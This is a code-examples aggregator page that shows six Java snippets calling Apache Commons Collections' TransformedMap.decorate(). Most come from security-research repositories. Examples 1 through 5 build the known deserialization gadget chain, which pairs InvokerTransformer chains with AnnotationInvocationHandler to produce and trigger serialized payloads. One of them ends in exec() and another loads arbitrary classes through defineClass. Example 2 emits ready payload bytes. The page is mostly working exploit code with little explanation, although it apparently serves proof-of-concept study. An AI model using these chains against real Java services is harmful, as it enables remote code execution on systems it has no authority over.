Java Code Examples for org.apache.commons.collections.map.TransformedMap#decorate()
The following examples show how to use
org.apache.commons.collections.map.TransformedMap#decorate() .
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: SerializeMapForTransformer.java From learnjavabug with MIT License | 6 votes |
private static void testStaticClassInitForDefineClass() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{"com.threedr3am.bug.collections.v3.no2.CallbackRuntime2", FileToByteArrayUtil.readCallbackRuntimeClassBytes( "com/threedr3am/bug/collections/v3/no2/CallbackRuntime2.class")}), new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}) }; Transformer transformer = new ChainedTransformer(transformers); Map inner = new HashMap(); inner.put("value", "value"); Map ouputMap = TransformedMap.decorate(inner, null, transformer); Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler") .getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object o = ctor.newInstance(Target.class, ouputMap); //序列化输出 byte[] bytes = SerializeUtil.serialize(o); //反序列化 SerializeUtil.deserialize(bytes); }
Example 2
Source File: Payload.java From security with GNU General Public License v3.0 | 6 votes |
private static byte[] generateObject(Transformer[] transformers) throws Exception { ChainedTransformer transformedChain = new ChainedTransformer(transformers); HashMap innerMap = new HashMap(); innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, (Transformer)null, transformedChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(new Class[]{Class.class, Map.class}); ctor.setAccessible(true); Object instance = ctor.newInstance(new Object[]{Retention.class, outerMap}); ByteArrayOutputStream byteOut = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteOut); out.writeObject(instance); out.flush(); out.close(); return byteOut.toByteArray(); }
Example 3
Source File: SerializeMapForTransformer.java From learnjavabug with MIT License | 5 votes |
private static void testAnnotationInvocationHandlerForDefineClass() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{"com.threedr3am.bug.collections.v3.no2.CallbackRuntime", FileToByteArrayUtil.readCallbackRuntimeClassBytes( "com/threedr3am/bug/collections/v3/no2/CallbackRuntime.class")}), new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; Transformer transformer = new ChainedTransformer(transformers); Map inner = new HashMap(); inner.put("value", "value"); Map ouputMap = TransformedMap.decorate(inner, null, transformer); Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler") .getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object o = ctor.newInstance(Target.class, ouputMap); //序列化输出 byte[] bytes = SerializeUtil.serialize(o); //反序列化 SerializeUtil.deserialize(bytes); }
Example 4
Source File: SerializeMapForTransformer.java From learnjavabug with MIT License | 5 votes |
/** * 测试AnnotationInvocationHandler反序列化中,直接触发Transformer * */ private static void testAnnotationInvocationHandlerMap(Transformer transformer) throws Exception{ //转化map Map innerMap = new HashMap(); innerMap.put("value","2"); Map ouputMap = TransformedMap.decorate(innerMap,null,transformer); //jdk1.8该类的方法readObject()是使用了native方法安全更新map,无法再触发 Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); ctor.setAccessible(true); InvocationHandler o = (InvocationHandler) ctor.newInstance(Target.class,ouputMap); //序列化输出 byte[] bytes = SerializeUtil.serialize(o); //反序列化 SerializeUtil.deserialize(bytes); }
Example 5
Source File: SerializeMapForTransformer.java From learnjavabug with MIT License | 5 votes |
/** * 测试TransformerMap在包装的map中,key、value改变触发Transformer * */ private static void testMap(Transformer transformer) throws Exception{ //转化map Map ouputMap = TransformedMap.decorate(new HashMap<>(),null,transformer); //序列化输出 byte[] bytes = SerializeUtil.serialize(ouputMap); //反序列化 Map innerMap = SerializeUtil.deserialize(bytes); //put操作触发,命令链 innerMap.put("2","orange"); }
Example 6
Source File: MapUtils.java From Penetration_Testing_POC with Apache License 2.0 | 2 votes |
/** * Returns a transformed map backed by the given map. * <p> * Each object is passed through the transformers as it is added to the * Map. It is important not to use the original map after invoking this * method, as it is a backdoor for adding untransformed objects. * * @param map the map to transform, must not be null * @param keyTransformer the transformer for the map keys, null means no transformation * @param valueTransformer the transformer for the map values, null means no transformation * @return a transformed map backed by the given map * @throws IllegalArgumentException if the Map is null */ public static Map transformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { return TransformedMap.decorate(map, keyTransformer, valueTransformer); }